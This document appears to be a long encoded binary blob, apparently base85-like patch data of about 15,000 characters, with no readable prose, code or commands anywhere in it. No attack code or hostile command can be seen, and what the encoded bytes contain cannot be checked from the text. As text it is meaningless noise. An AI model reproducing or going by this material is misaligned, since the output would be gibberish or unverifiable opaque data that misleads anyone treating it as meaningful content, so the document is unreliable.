z_;qP=StT=&2_#ifXJ6cdmgXL27U2_nuw@q#>omlZoEAc$y08GVB%NSn?m^*^qN;4@ z3W{20Cx)-#KtY|#hD&sL-`5RLV?~(|gZ;{ocuH*Y? zp1N>*1usz~BPNxShsVsdiwxqK`EH-xp(>{&IBt1IwU7-hA6AH~qAszVoB0XxutJ2) zV~FO>WVV|^mRM2Uv&!Z!^jj$ZJ>4;{!ORjBTWB6?qi4!J+lA%bJx0gGSOVuuu@EE& ziCW;`bX5fYqlxjAVg14?OSVo5;p(bdFoC1x+=ydIBVKE&;>@HNS-?T=6MQu5R)E&` z)u{cX&w9@??4bFwH{OZCTuQ{L(ZC#*S#C$!hj^HqS%#!G5a8s0JdU9V%|zoqxyx}O zi$EGZKZ{n4#vE9B%>$!uWYZ{8=!83^EW=xn7dE2OiI#?0BEc3p2QzJ;Iy;@8$8ZOO z8o|yPnotYm7*2{~*L?NzTs*88J^_YPuxwI4*BW-@(0OLcpsOuCX~vYRZnnr5-If9} z5noSUzAuAO1x1S2kyvI|y_J_?7iDY0VBdr02JVqLMZrrYNWv)tohF@~Nu($x7vg0? zd$|}Hww69S{o3B--LSc`j-yF8j+pN#gEFq#?6N4N?2+R7!3nisrSX?SF(8sJLp>Va zf49mEh95pG zCJnXj!nonG;TF$Y%WB|qnBWy$O+}C2ozI?O?*TmU-3xs;BQMOK;30JCE8p#&xdxBo z5goIG`_!r(4eJT~YRHlzjey2PTsSuDTv9rr-%sjZG<0AoNq>G1$@lm?eW3GavD*e% z9oj7fU;SQdL6vSuhr8GmyP;WLbv=*>Y~C|hiQ76fZb``_Mw7X53rJbTSZEb~#Db}< zaJPu#?*xoh71(Xq>yp=E+|WvNz*L)R=ZhA1_b{u^nNp@8Zp@^wB)Qmp2eBek|n19j8@13Q=rs z3T;AaO&Mbejhk)Wj|?3wmo+2qroz2bXY6Djd=1q>~ zaU-@E=8H>JEeGDfEh>}%9h7V**2z*~Mh%UjJ_Qn)rj~-GTz*A@;LMzm?oA_M#PR}_ zJvVeC=S}Mz5E7K{u>z>3;)M5O|;_xB*^L2tD)!1x;fh{Z>7Qh zO^Acn2V<3O_$>NvxY_sTek5zB=k+vnaEvtLE6Df$vjAz>5poLYZoh8JQpz&ocDowJ zlBGS3chZygkI<&x$^+#}=rxe5LK!&x_4zM>)*w9al2UD z??Nm)CaG6%+9JmbV6I3gH5q!EF$a{W>!7TzQLFW&y zahHfX^CwR-Gbc6x{kJL0(usPdS&iKs>1v}7Y`8CZKS*(q;BKQ4lxN;=VDrAg!~ zi+g=K@`c`URXa($?WqCZ=2dcfWQx<_ax@Buoz_T$$qr~f+NI@^RqP*XlHE?6^(B& z&&IuS4dfPROBpANtAkelm-c5FX<@ct7h>3()n5`i)Nr7`F==C~wbyafQiC*7vIo!v zNElrf9yyfK$YEQB`mhm|!PuOhF=uqF0CjGN5-I0NC!}`##^nd43JcV?(ISvGG1gF2 z$_1<)l^%IiGU^vgKW1CwKS^!iAizOh%A(X%=*@#sNCfoBVQ3EN1uVlW0{s~GTF8O@O5+y;Un^18L*57O`62wCno zzeQW{{CY;^>eQDl?;{gMrLDNY-t7}7|DbwoUs{PsS)r^^;8Wh={IvjdS$cFMDNVPN zuEXWEL8>TIv$e5JsKtq`-yQBaUG>qIM|e(youaiiX4TF?@Xk14gS#y;U{$8g<#UB{p0 zTKm|>rC}!xn^#1T<7T(l@vw&wCQfE2_0+-E4C*D6HWpZGj4);r?wts1&sF47?|Nbn z=3kStFmeXV^T`FRrw7-t^N4P=pE zq4md9PL|~-V8s}S5qRN)%Pzon=Al%cG~O7VaIB^e!%?8;v7o+xu&Ut#?LO+$rpP)G zaZQClPe5bm!$y0bBsS<4yb4jADIVAflN$hD9anR$@ z79XOFO#Ba+tgg}i zFJc4_11gUBP_ZdWts_OPM^$Q;H4rUBk9JoYG~6WM%vJb1HaFr?YUB-R5B?WS#3uUO zW)f_-T*KiWSI%8#P`wRFdZsaaG5_nFY9yMW?K!myQ-lCFAY9XIT*GE)b86rBWLe!i z+=-S69T~vY?`<(a(AcFt;(>Hr>lhMUpqNOCIsB>igj)L3ryNZAwvWPz;)ATfAoFltIVZ)I+bOMv5FFe3q-mm%j3UyDY7Z94-5kDr&H58wcd z1rYML0daAFF7BS|AEnOUQn;vYH)^?~4^`}=-bk~=Tj3X*5I6L^g{SXO))aUZ{)YiQ zl08`23HTjdQG75&jJBa!5OJnc!^{grjomV=e|2_^36LQ=Dko!jdrt&@Us7L&bD=E{>wdT)11!n|g0Mj| zwd(1Y1a&i^z?hoyn{YR{CjgIh_+TTJwjS`uuUadhxt4+<1&7;q_$Wkce88)Wc>IE* zKgag^U(YEK@wAZQg5+PF6SZfpsz>pAyOWJalT|q>^X|yCuw$<{QK^rLy6og_BJTBs zqC$7^J6Jf{pBG_(mfu$unV`;6=I?^z71K6;JtbdGr9(xnWv@fekV793P!iEgAZZnC zawfUb+c#pRbzwAV{p32|dRTt$YzK^~6|HjZG}^AB+g1Ghnu1^h=#{7r8a_d<`Nwm- zm_QQeiJfZ{CCg8Uhp{}q-;+`lY>#BM@z8IS&y6%6Uth?~95q&?-AJmMm zEL=`K4XNi5+#g*F<7Q>-gVhaxPS&NUH-w*0V@H&s+MnlQM7&;J~qb5JK}q z@qO$F&NxGW+QOot`MmJiI9apjHA^2X@nt#T;rZj(w9HRH++h9^4RRp(ZM{G-iEQeC zZRb&Ul6MpejA`R^xc~X2xzt)>ff0bdCA*(KHfh7+2+CEZh_?JNRG=^uXs=jU!1K1z z^;Aj|^hG(~51q*f1B6EE5P*8UZJl%F_hyqj$MwlsG&_H&pA?4BhrW34-qNaS>R)p{ z_08c}@v}Zl8s~w*1H1L2S$xb4#lI>oo#T<=y8`f8=r(l6Y?U2Z|n>olxjLQpb}l+aDF6Hjs6^a z&N{C--VxVt6z7%Lj^2OslvD?!6AJ8P?1;+zb4Bg(s^1aF-tF|v1?T&Pw0&>|lDO%E z9!r;V!LRphj7MF!Duz z^SpHRv>mzjdc2>(5w&7oqFQmn%#@D4BkzcOT|;*z3A-5%B5%UL@q`|%v0roz%J2Jh z7>o6B)FB)#^%5#{{fSGKIIt7bAf3xR(9ddea>sE~z}iod{>Li-`JE?C#8y63>pi;d z)w8KLV*Z;g_!6z>F8?B==~a_ubz`b3Rh*MOeWT&XM(>hsRmv<5cw#rAhssS*b3RR< zzJ%79tn#GxZ`1VB@>Xj-KFD7JS&t2rR-+Rcc&Ur#g#{A=&m4Y8A79^`R_?vK_3wYS zuG;$xxhpqxh!-gCzBPq$+010PAWQ&$R+L26JC%60KEB|9w%oqlZOkq3jpJLsD(Qn= z@E=!8h@Pgrf+D+yRT7uc`A02muWW$~Yf4wb=U8!-C*&8%ylij99}=k4j)vfQ{Sk`!(9GIn?F?>t+G^Y5j}wI`Hr- z;eDd;!TZ<6?{+Tq5zy zOEE62fb*n`&nMVRV(|lXW_?U&xBIUdnMsH8haSnaMgAnZ^0~zyTvy2<((5f*c-0u& z8mGVE=>kXnj4=ZVeJM)%jQ(!N6C2MfY&lUWwz$gq4*dc%D6OaMB%FTSFRtoc-%%$V z$fB4F3yhKPgBYKb>VG9V8&|$6=x!eeo!_L*Fsx+$a12Z;NNFtdz*P%R+DE3Pc;ydA zVdn~zYTD3!TE_T&g8lq} z{8#V(Kd0gzdDD!#Kmh=n(EtDl{y+MVPNvQtOB$MSzvEE8;`{tCp8jdJ^G79CQG=v} za)3Z2gF#syEnp*X&BEHgyv)tcjm5Kc?rK?N&#ze-_QS>_2OASg{pNO+vsQ^Xr2`A-e8OLiIT8@zQ3rkzg?1%WVd+=(PxRqwXG-J8vJ-V%O2{ww9Sd)Gq&8Cq}0@ zxdImZL~Cp)*_1^-duQX0h|3x@ymWqjPzQ+@BR18T!8z=CDz?R1ihU z&OIVu4otYdCrzeGlY{sQf8FJeBV552OtV9_9jhl2saGNy!)XsH&#=rvzF|e(n--5b z@`HO@EUtJ5(8>skr%#1fGG%V^mjC*@2UBZ?gfo7w4*rvh+${BK#%c5vuuM5$1JCJj zAw!vNcNwPX@nt1k^$-Qy4#9)Rq5>>wJQ8D|?A|qgfBdHQFqjPtVZ$fP>yCpFZT(Be zKiRY{3ixEpN_b*QtnJICEdmNLcasD3!>lX59g?Z!ZvTCuc@`4ZO!@GoV zrOXcHz~rIx9s@{|U<}|vHT@J|&iHGw9ORVFjA`2Zw(v#c+0r$@VynNzvZH}OewA6<1HeCwC3N%sKE-I((-?Z2aSXrba*7|abCgt{g7|erlsGeiP zHQ`A4A@gc2U|xm1#!5u@<1fHeV+)JFX%$UPr{%+)_`Q4&Rr=DiTuO~yLLbXlkuf^b zYn3yf;hQHI%JjBC#GJ~2BkZq_E9AVSXe9T8(2o%8P+tH|-EnZw199*!dpDzDT%)X) zO@ekvCG5^$@n&8BQiPf3(-b#1;`we%xT78aj9kR<+kSvy6~n((3bk3efEjOet*`xU z$yD{*eo8A_+VNe#Vs726L^g+RQ;@5nhtDcmS*{^~#dLR#ID$97LVgr3(fxXdtdab~ z0D*m9Oe^M?MG+|}#Qg-~pj~rG5&>UWJe1SsyhJg97A4x=nrP*msfz~}XE}h`d>!Lp zY024p)uV{G>Lvo`aEFz@Ngxrz%BDpqMOE*+SBpCF#;%gseEGUum8D6YBCrg;mw2#` zp@3x{SUo4~1@EWl#4ed#?m4>!H_1xtDZS6`=A!FN>qO&c^F}j*WHramy3iyP${ml3 zW?)petnBxtU@qT#FV8w$b@5eAmm4$%HU{rbb{(W*{D$zhzMNu9wV^hI6F6lxQpnU! zo?bb~1c%ZJ;4AIgjE@ET8L`I_Fau-w3K>grWI>$E<<@N6w7dbjFTN(g9pyx(Zaxtz zTT@rW;6;|Ufp9&vN>8$jp9NLN#8dbeCdnf(VEU$%z^)%&-SKTju2=R6TiHn-9X>ND zD_s3qtjMyR{(Om7;b(W!mOt&gkh5mnq{(pu3e}(@47eb#@wRCHO2mny@i~NHB6?zvlHakXTO9n>=Nrm6x zf-CI_B_?r{?cd=71~E~AzBYZ40-!*MaDM^|8nMh@$fh2=SAOFS6^I5NUd^N8kI22MY@Wpp1u(WN&g>f z!e*oR`y(=j$6^gMw#4ZA_yQ}9k`T7*&0eeVuaWq_3@LoBmH2c5R%xTD*x#vwpc=wy zx8kK#5HDGa7LxAzP@HDw6s2YI$GAc0e6yM+>XbW{fb^B7fL6*d;}uyaG#Fw==&}07 zkPX*s4L9BBjhGIHWYabB3L;d-i57z~*ul1hNH)W-MY(FNe<_)@deRoslxeF~sv>+V zGDA{I9cwiAi3WlxamDL2s!HOC8pqbD5?%JNBAvd}x5wzvpn~;gf4X8x=)=AKq~O)9q9BzuZ2}%GCsbiYrOjhP)@R zs986>hx*v1H8--l)J{a;5e3ha>xCW+J&Ja0AeYSJ)YK#B7YEHMl5P2JxagLgj9M&R zqm)p&0xGcdQ8Qins0s4r`7yoUAp;jjpoHpCyVpeUthLWn#ClH#Nln%x!{G)qiJVK* zk>ygVDc_KV3MJ3}5a9K<$Av{^)W_Qr@=^6&=cD`l9PAy)i=j|UboZkpa3`Kn%l5Hd zm50~1Xmvyi!jC!8+|4c|z9-c*c!n;}8!)aB8EsyfhO`@ThtCek#D&T8g(a5N9`9>+ zvJy3t#dRc-NQs3EvSF{&28JRWq<7t^WRAsC7J@`7m+d^amL`iw)0S5$@fG@5gI-Bo zdC%}Axw7go`pU}7Eei6PS=VREvf~@aHW`~|dAV<)gZ%E~!e`{7K9%UE*G3Gez(4IT?txLBmq`2UM!*b%@E4%N_cX3@f9)GgMhGSmnwrTp) zcTnB5ZHqrj>@_^|`Meb8^Xi_UvCo|45hz`m9kQx5<@)q{*RhtEyI_sa7J5G^3VqC% z?l83tBe|L}O>&D()1DqP5wp#6J5%3}d$S?>9X(BY#0x2Gvo@z!qyFJYSA34)$e4R` zW@^thILe<5V2Icwh-?qjMHV@V^Vw(*BrF$etJluAC4#`Lw_5h|b60 zMUyORa%5!^J@%n@d;M<(fkSM=8WU_Y3bJ!b2b1#Mm$#l(HP)N6OX#CUZ|R))X=OdU zw_Y>0!>my~BK)pZb=U{H;9ye zT?Q$^Ij0}Zq)3r2#}AF3v@Z3?wq+$2XyhDr`!`w*q$z@Bu>%(&y5>26l&je*|rw zQnB-Gbc7@?Jruc^8Eo57UBlo^)306cmaA89P}nwp_O;p>cVb(3j_G+pYMCOXtk^`U zjfmz|Tt>x8XC(M)6&bn;zP0P^7@muYQB;|!7qmYSHfFnfhuTZDQDJVDAOAwd<=S{P zmSBQtfH<&GJEA2#Z|%pRtmn8l%$CSkHs1=`x0@@FG|!`b?quaLEKI&);p5k%E%83c zQDeWOed0J5*V(xFE+0d&T~BSqbjxRhEyM~^PIt%R*^4B2r)-|2;*^T++RfMXwjdw9 zMRprxClkj@v#qlueI2Omt4Jlh)z<1*XKDPMF=LE_fqZg@kWbBL)H2h$z>y>Y40MF? z$VwTfpK%Bzi{T7bDTV%-)B(t`1qK$%lkk$zABLk{X8_Y#PMQe4G~dA^yH)j9(Z3NpO`>ctkD2@a6)|SK-)`^>+ z<^sv@&a@*Sq^HL6sL^Ns*|_4x;^`0eg;XV}&S4gbwF2lo>P^B^AjvS+V|7b2g}lGqs9Ob$M+ z&QGMl7Pc9aiPYnRm>_N)Bm0KdL!)0cvX4IEaLA!{xG~g$=<1JlEmpcU`SsN8goH_x z4~V1A2rV50kN?H@V^N#qEt$K#axUofA8Xh2 zqSnUCiVI=yXbZS|A!su!gX4yGejUg0K^%!bkzPX(Ok@XxJ$AD+)9DRWsxo4BLobFVnx5dTd97Tl4; z#>5LBZe6mlx6)BKpB=v#BbH5XBEF}-NGl5ZY#0UU1gN-) z@+?s@G5+-h^pyVjoKU7EiGThqQf?SQB2}~NQ$@szM+?(PTSQr9J~^tG3Ty~#%yC9e z!~e_O6z4(h^&o^I%{ckHKA>1AsI^s^DwrNuq`#kow=xNtoUiB&C9cOkkpg4;{pXDu zbiA&i0Ar++ru7a%l=XC@xHrQ|BegFbT-3sJK!Jmm*QALl-Q;(dJ9n0>%-T+BX^)^pB#PN|RSLeC;Q>Hl4+D_S)Dzic za6}#8PYNl9jkm(IB1*uRiwYJ)@nRnKG2gwV6ONrL;4pZ8ErlQgg~ag}_BFq0lXAjY z@Ii;5K$6C>9f+sK^{GFMpwYp?w|;`T~Be;vAgjv*9I$zKMVIUnWO*svBOeT{@HE(HEHkKm&$9^ z9iJ}=ws)r7=Bl82yPoOp6X`bfuX+DB0U%@yy&73-`CMZMhlUp!cgI>Z-6FrQc4x;jxMXJU{*%xeYVUu| zw_S{ZQ^8o}!xVRolT-=jJCprd$Q}|0zyleEDV>kOx_2!~AkPRAi3q}+ArCIL@`Cl3 zy$1z1P^|x-?HGF*{04T}zIgJuk`+JRWswqgU-0^BMt9Wh+gDRt&=4H_E+e`BnofY* z^wjBICcQltmX6t+Ql>v|mX9P)45`Y*+6Gt1Q{*=g#ke5y?Sqm~466MA;@ER+4~2Ih zs&vA2CL(b~0pjN!m3JL3SmI5-LMNO5da9D7m|>s2&0E!Exu2v)KuFwBNDNMcogojI zfoN|MRhDkLLFKb2)OyZ@%K7(t|Ik8cs<*TziWqZNh64DmjZ;E>Iz9c7;=8k3Ixx42 zkF(L&s}s)@{BpdA?V5$mrhZNDeQa=WR*SuwZ0D(T7;RHB8c zPqy5>+D`0B5Lr8P*^pa6-=nj9kxkv<`VF{zF{R>K*8rY3N*#QOYo)F=kP6Y9@gvD} zSr9cyaG$4B`o3VWJ=IYmmIq0-f^85f&({-$C{T75Y)e57GE0S{R`W71WKvVmCJ1zt z{iM_TqDAr|tghLQvE>Yy3ge8SeMaaBCXPSZe(9A(J>d_VUer#Ty8I|+^3Uzmr+4)C z+e?P|r1iwrrT)DeHtWuY?cysN_z^`cV^=XK&eFfVv4IOL%u{Ea_|)!zpqC+*7wpS8 zt7M#PdHjXJk0D8F4#<)}PEKDq9SpisdurcyMO@Q}&Z8X?etwP*0x??J+*Tv#jt&|} zE*;qU>XOoS0CCf)TycJm6{2nQ*u3u;Wa59jQx^0*8+tn9Ss}o$Us23~$~^!`UzBK=Kz%Nr8*#Qyz~u3Q1d>(%LN77|LK0 ziWFgc?)H-{<9gTC3wk%&N^!$-q6o~uo4}#S^DVGNjtdggscu4kj}PH&m3+c#dp1l~3AJ<0S#5cLaj;ue7E8A+}@cAH5Y* z@pcUBFaYU_kni%}K?;~`S#?L*=M5ew&ww}tqhCkQAE)yq&#@pt& z@6&Ac)AzIV9Ccl-SHC37rLXB;x~|TRQ5vyxKJAlSoB3>r#FR73*yI*D-47Mxk~+ov z5=oJgv4R8|VF-=QiP5x(61{2TuCU45D)5tyw5;t&Gczhzni_g!SZp=pmRtq(U7k|01pk{BYNy6`*#a+HIE)93Jb zxZ(^ecRtd-19b=LBSF~`M@p{?-G9AYy&PS<(Cg##1rzaEVJd3L ztYsd8iuT(8(HVAs;RPsj^`;4juBy7g>N>FdCeUchEWN7;TmiR$k33Y7QQr{HgZkjl z1Nvnp?f-oeXV{-pQG4c9nF%7bnR~Mrs(8L7Y$lUP%QB(If#hKzLWvr4T!|v!-0h=? z{yDSYIE@keti!+(G>j~$)(9a9F?Kaz0tf+?Q3HO?FsLINF95qd^Hw$`lG08^X)a^r zRJ66y%24&Bx6#|qB$JX6Q>CiBlwIlQHsR{t1Maq^C`PJzhx#iwLEVcJv!EeJaSIXC zM-qdgfpY+nA3n<=rA!hFmEPlz%rJuF5P%jABwa6r7~&Zz$}m6T{+h*Zw{2lnpc9x# zR7#aeblRO=#;QpHJMj!5G`}!wj1OCeagrj5&g^tnRcGmo{cFHgyPV`oHVMomq z)l}xJiL^y2!r}ubO-G=0TG2HlNv044#Pr06P1={m;oW_)Bf*o2Srsr*#$Fb~H&G;I zR@N-5-O+8b>>W!=RjStxl7d^B!N3BEc!E08TDwp#`kLw25b41)SI){eZ}k|OWMdQ4 zW*rr?m#&HBHl`U>LFVT?aCn)vlniXJl7L2qUUX84Noz7;=k#ql`4h%}ETiwKv=TY}=;zSsF}bh3o?+#*jXe8cUl9 z@Y@sVw3OxxwUb-UDzN6;&+)xNS-L?M!*rqMX?Z@#ml^qO0ZK!98<-X4VF(&mYHoVa zC}O0_oZRT<_g!JF^K|L&blP^8@AHGTv#W=smk)vN1FyAJn0{Keb;M{zdBBNoR#hV2 zDo+6#X7-pZY+6)T7h4u@gJ+7S`tq$NBcC09B+~;;;>WOY@F{ z75LOnYzOz>bsG(~&?QxSA6-cgTQkCYZ{%9nzMUj3x2+5K#%nVY0y~(1C~SE|<79a8 zukU4NcWjDkb{R%2y#Nfev&+Se=Adz!p`n8{Uxp4dg_ng1%H7~AYaY4NZ{edPqom_u zsGt0i1+b3+$4|=oBxDnJy&(OPA(SSBTp@_nz|Wq?Q~L{}DSQLX*}Jh<&D+n7qFps5 zv{~rpmJo%5#8diaUKd4(_b0aS>G}HA?;{ngR1dYTg5|Dy1(l@kXZmM4^o2x3Y>wtD z#O*fQ=%;sRV+?~N_llUWAn~10+tJeN5?hK6dm)iw<2e4PIhtjeEkBcJ+kcD&?BT40 zvlC2{hyby*D`tnOQ~-z*p89vMpN9i%pN;0)7uQ>Tf8uWBc7ZEYhbEOSFIi;svd%PU zHt6v~Y?ROh5J}k5yx+56bjWr-C>QrXPXet z*kQvsv8Q!3P;CAq>CeaqIW7~Enwrx9^ z*v`bZZQIrt+nCt4Z6^~aH>Xb3tvdJ5{omDHwO8-mYps6Q^QJ(CX?ij>E~nlP5Bx;& zNoPIX2yw$LW=^I+7xMQDBZ{)C!8I_DZ+c&DZ*}Z~IExY?CW6VSOgp4Z6JM!kIjRq+yI?)a-V{|$(Aeh32<34Gzl^A|~$Tt#G z=zzGrap4L@v8ullloi0yS8X$eg-@i`@@)nKsg4NMcu0C{wD$b+?7)baU?;L0kAG@H z-*kMC=|z>cr5@N1uLr(YwN8bgQo=_)$0&XVnRVf1cAi4cgT@91aV-X46{7}eUdE5H zg>lU&3tfN(FBlnQeL=-vY<+>e(&$r)e%7Y}o?J#M0 zmKf#D6XvI#v?wX~^AX2S1QxH##IKR&-M8Pi?m=vK^WBcj!yK)P=L2i-$MenKT|4|~1x>!`RQGRL z!AsXsjE`jUWyC%sa<9;l{uc{voQ^d};|64h=TVQxCvT$l9N+*pWNkiQNtcihx}F-qifs*NbZ{%BDJ%?j#{IG$KTP$tjkV zMajI`+|t*TK*xI4$?+>g0GlG*ph#rt!Tt&7818FeEbkt5mr%4t&%CaYGFzf)$S6Fl za_q5DG819D10v8bGF#B(hqmayL-@ZsumFFfA-EqM*!#}_H~CLW^7{vXWoS#MV(&pO zry?awFJtNq;%|P@`>@{dKfoNjYC?W4Ew##$sxZ#sx*y-`E?%D?9e*h-A6fFfXS!o`LqXtFm4#P0ingxzf_ytr=)W0N5dgtBQrkTW$SmA9sL7BW0egp+MkG*wIHgeVw&Iv zHiSmL41!{18EXQ9&B;C^jBX#O6NsxpOTdhsuNzC&Ev$rcBf`2GEj*%4?%dKe4QI1P zu%@2v@$d0f^CZe#wt1Y_YZ%Rv&f>>gVh&s z(=)~0^{QxH*`$KbX{cpZIf?`jITTuTCst7%PA9gXshsmJ%SOPN5uFgvNu0zQ+MI!T zj;lc>5X`LjdAiGk)VE%z%>PHgV1My_s#I{xRLSMAE4k=}U3lDrw|GyGv zlpO&hc^Rw0LD(+3D@guQ63zF`JYXW*smH%ZxxK}8@3#Yzv6#Y{+`ov(+Lq^WSJZ2N z6?v+Z4dl9+;o%oR#q3@iR}Vd^#7LERqf8jE_zQOwKDyEf%2g#RY(}G8vc~`F_Sdbc_akYrG=_^sm9N2O@|%TlvdUG<^()E(w48dgOU>0{em* z%uq8P?I;dYmHtgLkfsA$cFx5#Jo{@bVWnfK0?K5H_pnZW*O{H!WRdGf(t6-TZbfk? zGpUI7ihd#~{<1Arnt!gVR`IZ`115y9U}Be2Z6Xz^fw^NXT0n~6gf+$^(o@kW#p^dB zGRQzHbGj92LmUUGEQg(b1wDiCt0SP!jJ9PvC39fC!wyq2s{=qs5u7;#APcKwTFf=2 z>E^#Kzm1tq)-leCM(2la!u#cL7?109sk@1NDA<`j>si~}Zk1q8?#t&}hT}v$#9yD{X~6Yju)x=@MiS!0dPha)m5;p#;ae>mYEbC5xpzD)GhHngI_GAr zNlJ~+atg3F-JW_{HeKtF6ID~YOj{GMaT#}ztvForR*4Wu9n$~_HsatxmzJVe`mEQ@ zUPDcA2US5Np+O*FQ!vL+Cm=&$CK-#N`~79VtM0oGg|Cnkzxot!peI{Go#h*je#rKn z^qM4NqMF)T|3LU5RupMTQBo`wGR|0>LM>4T$px%1YH6@vb$ehimEpTg>NZfO<4S0d zQ%#Mi%TgSFG6sW(pz6wHfkUYvJY+=#H3BDs^8-yzm)&wKEfC+^rZ={swmYZSZbWR7 zmZKhuR6?+muTv9#z$GV*4Y_g`uANE*Vl8h~$wp_sW&_(aE&5kaQe80o6MFYj{6DOd zXA)S~z&o%D|4&G2mMO&guj!=SVD{0=IvUOL>pKF5>vV<=JJ1)z&+94Aard@&L|w#e z2CwX*n|}$ej@ixL*LhtFSGpf_P4mji7RyUPJybd8FcQ4X&Aa(+JEcq#n|q_zQA115fQ_J$E&oDe|#GrhxmSSyY)W% zy`PzP6VyX{)X!BehJY}aJ5Pj5oN948kY!(3r1KGf22}NnzOeom)C8g2Ld+!Bdrjq zid-Dx-3cLw4_}JsN;UY5Zl5h@r9r7$LHEpwmcwJcAkmL!u9q&OkTUHdwNQF3vXM;j z{I!k@@K*6!#5wzru+2lTe~2haoSi!g9q4HZKmL(cI1Xk1S6UHE5y7iUYw%xbg;?NN z0$Sz?73&Ck1)jpg5XgU}74ldxKd^)|3ciYYTH-J19#UzedO(zFF@b*TtunctccZ#_ z4%3n3=_8GYkSCrmYhs7+!5Uy%ZBIr{>0Ir8{-MUbL=y=zahli_XBJw6?KPCB`K8Mr zh+`zrH;^dBO#PJgl{>NaAu+gX+}opy7nuJ~R{X^n8f>^+2Dn;1Q8uM+wU=uzf>=rF z2%m7r$77PfB&w4t@s8NJ%Oc#MA3GNC@xXRwH$>0`s2q%>ZLEo{P4!^i6p|9w~dyyRM+FoBThiMg*M@ zrn{7d9XD)O#9&Tw#|Ov9Uhzuqmsxg32#1Ip*&^;%liokB7`buTH&KB;6}y@-FW^%9 zGJ#@v=dt7ag3Y#PVhgUg`a*u6A7MT#W~E_;(WFV(L%ONP9s7CPg#&lBdEf4dIont> zkvPmg9~UP(M~>>fzP>6A8F;(9H8=p--~Ae6gZ4kEAz z8>bJ6DByWrL)zV?v%wFK@dovtH4%QSxl; zOKOHM2QHfWqT>yk#|%X0#7US>MiHXqha^m1!GlU3&DJCArgg1*N*n%=%5`X-XKPNz z(Zh4?SPwmE-4k7YInXtm2v1J}$MmG!heWoBY|7Vir>o~i=4@X3PhR4(+=Ou$^B0x$ zi>!ctF`5uFaVQyDw2Otn`%>Mp*8nLy=^ro_{|J zwx1evX2VUm-l`>mDUOmXPE;ss{|vUHjMjhE0VFqOPMXir!EAZzg^KC%lfeV_k0zQQ zL=1Jrj}q`YLa}9Pru(27S<8$SB$wz*r_`kh7Yf34eZ%org^Uxr3Cu}iGGuGKJd{B~ zxT%{w6w5`z;M>EkCFCf(6q_F|+gqSB%dGv}q#d9l-LEQD zy^Tj2>VEN=EXUon)~kecUx5362199zI4@m?vZ=}wUf$|jXW-~V>g0pkmDE8jUsN#s zA-2`9-Y1B+O8}&Q^$t=D|CW0QH@T1BN3cadn&C(mzj3Yz_ZhRzOqjpWp}G!3$Ax3;7EQ`WRp`e&6+)s_#N~s`Fu9G3|bf~+jroEYV zMhXoQo%*u{oWUeRvqlfb!K4$0PcjtB=EDY`h@Y@mJ$?-%faw`kf^uIMpk${}gC|+c z+>_yZZaxKJ7&XxL5X?q@=aLl?^-!xvwSClI06R>-+;tsNJ(33+60H>NnQKN0rc7S3 zZ3IlT1Qkj}YjI!uBw{lkf|lilUD32v1hyH)zd&^BCusj|3mnTs4Qr!75Gur@V0gS{ z=A>;*?oJ!pSBi2fs>y$N7{JocgT#&s`jgl%iN@A*fn|084I(BLDT-M=?>G;>sl|-# zp8z<2!6eBn>)0v$+*5o6@a| z0H%m>I*c_dSDViR(s(EVCp_(BEd?^DkVMiqeISHeP`|61u=x5B`6y<>QC8(%V5{e` z`tC&51V4XA3^2z41|S&$Ov`PRTRBP&OC9E-721P{93w0MWmcO!ynp!^4aOg)%Bc9= zf)qpUNg^?QxZ-J_phe(SXuribmq}=bi8n9cOIsgnl!nZi!N0C?IvypS>+m+l5j}o9 z=lx%r8`NHSJ=X4ANps)zWLGT?ajIRl>8FdO{{EKIC74J8xw8NBu$Q@R?TzgeoV<SM>i!c_^|N2MJ{-T2kO;Y3m4#(m=|r29i&EDSRCkE3#b7o|E}MpUT;sz)5AL$ z%(v*Es*@JJPaoqn1a&#tIij1T!h4eUpoIp%bvR}YnK?=^_ma)HKu2mukr^_Js8{{V=I`wt`~x<)C1;q*73bqDM?DLMw~Kn_?UmdAb*bR&ajL9OXfQ+Lh^;R^yNkewU{ zUxB2tWs|*$Y>2k~h}LEo`-Z&=S-aB)Fx!gig_Y^1b`z@F%4Jz4!c@Lt^kq;av0>UW zTQ4t2vfWDa&8LCd+JtoY*AHCP&qq@DjvEm`MA1JX~d_OG8}!R+qB`|7G)nQih~@ z;^ylFaVJg)K}$GEg3e@NI?NT2(yMV3InrL)aT|6YgxB|8hI%zanG&LBI7!wjec;=fdqsNh47kJF^gFX}o;J4d_g1H+`C zdEqXG<2ops~7Q4Qh`Jci;HXf8FPV?0&#hH zx9F9x$TpxEshTwHMgMH$oJebAlXjT>l|`4)5UkVOhz)H%u^?lzN?=vz;jb|u_nuVR zp&)}^o|1|-F<#&F&~+RvQcLTM+#k^ZI7~L%doSWDr^nS17ASWe{|cd({zYpNJp9ld zD_hp{jvtONcnYM`7H}_Z%Qu|pDQ>UYgq9l27QOG)J8{s zys;I|z%`gXrI=$qcq(>7zM+37>Y3*v|%J9&z@7(R*_7l~}w0V{NI$S<&n zm16JSwg8sRFGw5HxYfm&m>F~ZQ zkQ+o{JdxOW94;F?KR7Qq9SmK_x{?)dA`?()$_9f~8Ygdn92uvSXM{7L>SXOUwYsfy zP#)mu;Bg(&s8~6@ayGEp4FpG=H(^~4IvW*tqxFGE4a$_K_8KVzt?Tvsm7Qf8JAq8Q zWegHbWtg*#VWY>8F2IJqD2WR`37+2WmvI}^b0qAR3ur~e`|STCxmMze*8OoQ+l;;) z&Art#Kqn)@4bWE%fgJ~3ShSUdmdpZ9K~3jeSbgv|+UMbL3w16k4CKjd7v`*1qsmr+Hf0cjoM$luiJQimyn-I_?@KVN8^oTeeb#~F#k zq21zW*_bx=NUHWUB$ku#w1O-DS7ks! z3>NmvLXPt<&*XQ5UBIjy*ftFuI8-fBL{@jPo@!xFZ*!kF{*IP1P}LGQiNJFESBJHc zh(*ofv$pH(T5A#h_@w@vaJqsif{r+dI|l8pMof>uH=g8cJW<)Wqx+2F`V`t;GQY^B zj0ZTXlS~lATFU_s#5JG09!9uj2_##@u@a57Ydl9rlwMFxWjol=+KxC5$T~W$vtDE1 zVT!eZnKGnBMo_Py^+b>Iw@>r#?3KN)Q8IUz?1~!&iCZ?5y6owUX{@a|4Hmb+FxHFcED?7U4+}8=eV}eGM0oapa;sE9Kj0mT=Thj4h-*_^+B4}SNaSLW&?G)7UCtW?wdlItHRfy^fa7S!wCm;X zb#vQ!xpbWgf@^q$#gU@yzjB-AWV%f%{z@AY$~j1|P~1xdeyMj*B%v1^G8_JDcF|gz zlz{hpeRGTHmZSoSrIUE8vyo6&ZCp{hb2qRal1Rc~pd>Yogavrku5s^dO3LDd{9SN- z70+5cR_L<`#+*vHRs5*790!=IPlvMidx{S_glC 